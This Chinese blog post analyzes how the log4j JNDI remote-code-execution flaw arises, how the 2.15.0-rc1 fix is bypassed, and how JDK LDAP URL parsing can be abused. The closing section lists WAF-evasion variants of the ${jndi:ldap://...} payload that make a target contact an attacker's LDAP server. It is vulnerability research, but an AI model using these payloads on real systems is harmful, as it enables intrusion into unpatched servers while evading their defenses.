如何跟踪log4j漏洞原理及发现绕WAF的tips

安全白板
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log4j漏洞的形成原因已经有很多分析文章了，这里说一说我是如何在了解到有漏洞后，跟进漏洞产生原理的，以及发现的一些绕WAF tips

跟进漏洞产生原因的思路

如何发现漏洞产生原因的

了解到log4j <=2.14.1 存在RCE的情况，我马上跑到其官方github看了一下，发现commit记录中有两个关键commit

 

  • 第一，log4j不再自动对消息中的lookup进行格式化，第一时间看到不是很懂
  • 第二，限制JNDI默认支持，限制通过LDAP访问服务器和类

这两个点很容易联想到是不是跟JNDI攻击有关系，毕竟RMI和LDAP很容易做到RCE。跟进commit看看具体的修改情况，github.com/apache/logg… 这个commit中，对org.apache.logging.log4j.core.net.JndiManager.java进行了大量修改，特别是在lookup方法中，加了很多代码

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仔细看了一下，没有修改前，lookup方法直接通过this.context.lookup(name)执行JNDI操作，没有任何过滤或者限制，而新增加的代码在限制JNDI服务器、类。当天晚上看到payload后，马上对log4j 2.14.1版本尝试验证一下，并在JndiManager#lookup方法中断点看到如下

很明显，name就是payload中给定的，仔细看一下调用栈就可以发现，log4j会对字符串中的${}自动解析，也就是前面提到的commit备注信息中写到的。

如何绕过2.15.0-rc1版本

看到rc1版本存在绕过的消息，又来看看官方github仓库的commit记录，里面有一条在更新到2.15.0-rc1版本后的commit记录，提交的信息是"handle URI exception"，即处理了URI出错的情况。修改代码情况如下图

JndiManager#lookup方法处给catch语句中添加了两行代码，记录URI解析错误并返回null。而添加这两行代码前，此处只有一行注释，因此catch报错后会继续向下执行this.context.lookup，也就意味着前面try语句中的代码报错后，会继续执行JNDI操作，绕过也就来自于这里。

来看看try语句是什么写的

代码比较长没有完全截进来，关键点是进入lookup方法后，立即将name变量送入URI类的构造函数中，此时只要URI的构造函数对name字符串解析出错，即可跳转到catch语句，进而向下执行到JNDI操作。

那么我们要关注的点就是让new URI(name)处报错，但是name又能被jndi正常识别。好在我们用marshalsec构造ldap服务时，不需要关心uri长什么样，所以可以在uri上做文章。

跟踪源代码可以查看到URI对字符的支持情况

数字、字母大小写这些就不说了，其它可打印字符也不多，从上面的注释中可以看到URI对反引号`，空格，尖括号<> 并不支持，基于这一点，可以做个简单的实验

空格和尖括号同样报错，就不重复截图了。回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况，并没有在catch语句中添加返回操作或报错，程序遇到报错后，会继续向下执行，从而造成危险。

由于找了很久都没有找到log4j-core-2.15.0-rc1.jar这个包，所以自己写了个函数模拟一下绕过的场景

LDAP绕WAF的tips

URI解析

看完rc1版本的绕过后，又想了一下，防御工具可能会有针对性的做一些关键字检测，所以我打算从LDAP更深层的源代码看看有没有对字符串变形的可能性。

跟着this.context.lookup(name)处向下跟进到com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN方法，代码如下

注意var0也就是输入是完整的"ldap://192.168.34.96:1389:/a"，而后var2可以使用getHost和getPort方法获取host和port，说明var2对象在创建时解析了ldap地址。跟进LdapURL类到达Uri#parse方法

  • com.sun.jndi.toolkit.url.Uri#parse
private void parse ( String var1 )  throws MalformedURLException  {
    int var2 = var1 . indexOf ( 58 );
    if ( var2 < 0 ) {
        throw new MalformedURLException ( "Invalid URI: " + var1 );
    } else {
        this . scheme = var1 . substring ( 0 , var2 );
        ++ var2 ;
        this . hasAuthority = var1 . startsWith ( "//" , var2 );
        int var3 ;
        if ( this . hasAuthority ) {
            var2 += 2 ;
            var3 = var1 . indexOf ( 47 , var2 );
            if ( var3 < 0 ) {
                var3 = var1 . length ();
            }

            int var4 ;
            if ( var1 . startsWith ( "[" , var2 )) {
                var4 = var1 . indexOf ( 93 , var2 + 1 );
                if ( var4 < 0 || var4 > var3 ) {
                    throw new MalformedURLException ( "Invalid URI: " + var1 );
                }

                this . host = var1 . substring ( var2 , var4 + 1 );
                var2 = var4 + 1 ;
            } else {
                var4 = var1 . indexOf ( 58 , var2 );
                int var5 = var4 >= 0 && var4 <= var3 ? var4 : var3 ;
                if ( var2 < var5 ) {
                    this . host = var1 . substring ( var2 , var5 );
                }

                var2 = var5 ;
            }

            if ( var2 + 1 < var3 && var1 . startsWith ( ":" , var2 )) {
                ++ var2 ;
                this . port = Integer . parseInt ( var1 . substring ( var2 , var3 ));
            }

            var2 = var3 ;
        }

        var3 = var1 . indexOf ( 63 , var2 );
        if ( var3 < 0 ) {
            this . path = var1 . substring ( var2 );
        } else {
            this . path = var1 . substring ( var2 , var3 );
            this . query = var1 . substring ( var3 );
        }

    }
}

此时var1="ldap://192.168.34.96:1389/a"

  • var2第一次赋值为(char)58也就是 : 在ldap中的索引，如果不存在 : 则直接报错
  • this.scheme赋值为第1个字符到 : 之间的字符串，也就是ldap、ldaps
  • var2第二次赋值自加1，而后检查冒号后是否存在//，如果不存在，则host和port都直接为null，进入path和query解析部分，也就是路径和参数
  • 第一个冒号后存在//，则进入if语句，var2第三次赋值，再加2，也就是跳过了//继续向后判断
  • (char)47 也就是/，给var3=var1.indexOf("/", var2)，实际上为://后第一个/的索引，这是用来找到host和port的一个定位，但很有可能后面没有/(即var1="ldap://192.168.1.1:1389"，此时var3直接赋值为var1.length，也就是var1最大索引+1)
  • 再往下走，会先判断://和var3直接有没有 [ 和 ] 符号对，且 ] 不能在var3后面否则会直接报错，这里有个意外情况就是ldap://[localhost:1389]/a这样写的话，会将localhost:1389当成host
  • 如果没有出现[]符号对，则赋值var4为://后的第一个：的索引，然后判断var4>=0 且 var4<=var3，也就是冒号:必须存在且在var3的前面，条件达成则赋值为var5=var4，否则var5=var3，即从://和:之间获取host，或者从://和/之间获取host。此时出现骚操作"ldap://localhost/:"，则host=localhost，骚操作"ldap://localhost"，则host=null
  • 继续往后走，如果正常在://和var3之间出现冒号，则可以截取出port，如果前面的骚操作"ldap://localhost/:"，则port为默认值-1，这个-1在后面大有可为：）

后面解析path和query的部分就不看了，回到com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN也就是上面那个图片的位置，此时host和port都解析好了，正式开启发起ldap请求

LDAP发起

com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN，执行到new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl())，即此时LdapURL已经解析完成，host和port都有了，跟进LdapCtx的构造方法，代码如下

public LdapCtx ( String var1 , String var2 , int var3 , Hashtable <?, ?> var4 , boolean var5 ) throws NamingException {
    this . useSsl = this . hasLdapsScheme = var5 ;
    if ( var4 != null ) {
        this . envprops = ( Hashtable ) var4 . clone ();
        if ( "ssl" . equals ( this . envprops . get ( "java.naming.security.protocol" ))) {
            this . useSsl = true ;
        }

        this . trace = ( OutputStream ) this . envprops . get ( "com.sun.jndi.ldap.trace.ber" );
        if ( var4 . get ( "com.sun.jndi.ldap.netscape.schemaBugs" ) != null || var4 . get ( "com.sun.naming.netscape.schemaBugs" ) != null ) {
            this . netscapeSchemaBug = true ;
        }
    }

    this . currentDN = var1 != null ? var1 : "" ;
    this . currentParsedDN = parser . parse ( this . currentDN );
    this . hostname = var2 != null && var2 . length () > 0 ? var2 : "localhost" ;
    if ( this . hostname . charAt ( 0 ) == '[' ) {
        this . hostname = this . hostname . substring ( 1 , this . hostname . length () - 1 );
    }

    if ( var3 > 0 ) {
        this . port_number = var3 ;
    } else {
        this . port_number = this . useSsl ? 636 : 389 ;
        this . useDefaultPortNumber = true ;
    }

    this . schemaTrees = new Hashtable ( 11 , 0.75F );
    this . initEnv ();

    try {
        this . connect ( false );
    } catch ( NamingException var9 ) {
        try {
            this . close ();
        } catch ( Exception var8 ) {
        }

        throw var9 ;
    }
}

这里主要关注hostname和port_number两个参数，即下面的代码块

this . hostname = var2 != null && var2 . length () > 0 ? var2 : "localhost" ;
if ( this . hostname . charAt ( 0 ) == '[' ) {
    this . hostname = this . hostname . substring ( 1 , this . hostname . length () - 1 );
}

if ( var3 > 0 ) {
    this . port_number = var3 ;
} else {
    this . port_number = this . useSsl ? 636 : 389 ;
    this . useDefaultPortNumber = true ;
}

其中var2=LdapURL中解析的host，var3=LdapURL中解析的port

  • 注意到代码逻辑，如果var2为null，则直接使this.hostname="localhost" ；
  • 如果hostname的第一个字符为"["，则取出第二个字符至倒数第二个字符的子字符串，即从[ip]，去掉[]，获得ip
  • 如果var3<=0，即LdapURL解析port失败，则在使用ldaps时，端口改为636，使用ldap时，端口强制改为389

这些逻辑是变换ldap字符串的关键

Bypass WAF tips

根据前面LdapURL和LdapCtx的解析逻辑，可以对log4j的payload做出如下变换

  • 不出现port，避免被waf匹配ip:port
${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}
注意此时需要ldap服务端口为389

 

  • 对IP添加包裹

前面两个类的解析逻辑中都有对中括号[]的处理，所以给ip添加一下包裹

${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a} 
LdapURL取出"[ip]"，LdapCtx去除[]获得ip，两种情况下端口都是389
  • 不出现ip和端口(有点鸡肋)
${jndi:ldap:/a}
此时相当于ldap://localhost:389/a

这种情况主要是来自于LdapURL解析URL时出错，导致host=null，port=-1，而后LdapCtx中发现host=null，则将host置为localhost，毕竟这样做看起来是可信的

原理是，LdapURL解析时有个关键处理如下

this . hasAuthority = var1 . startsWith ( "//" , var2 );   // var2=第一个冒号的索引
if ( hasAuthority ){
    解析获取host和port
}

此时不出现://这个整体，就可以直接跳出host和port的获取，而后在LdapCtx中对host=null时，赋值为localhost，对port=默认值-1时，赋值为389

这个payload需要在目标上执行命令或其它方式开启ldap和文件下载服务，但都可以在目标上执行命令了，还需要这样干吗？所以有点鸡肋，除非java程序的权限比可以执行命令的用户权限更高，从而拿到更高权限(不过提权姿势也很多啊)

  • 不出现jndi:ldap关键字

通过upperCase、fastjson的unicode编码等方法可以避免该关键字，具体就不重复写，直接引用浅蓝师傅的博客了b1ue.cn/archives/51… ，

另外可以对log4j解析${}的部分深入了解一下，还能通过其自身特性，避免直接出现jndi:ldap关键字，但不是自己研究出来的就不公开了

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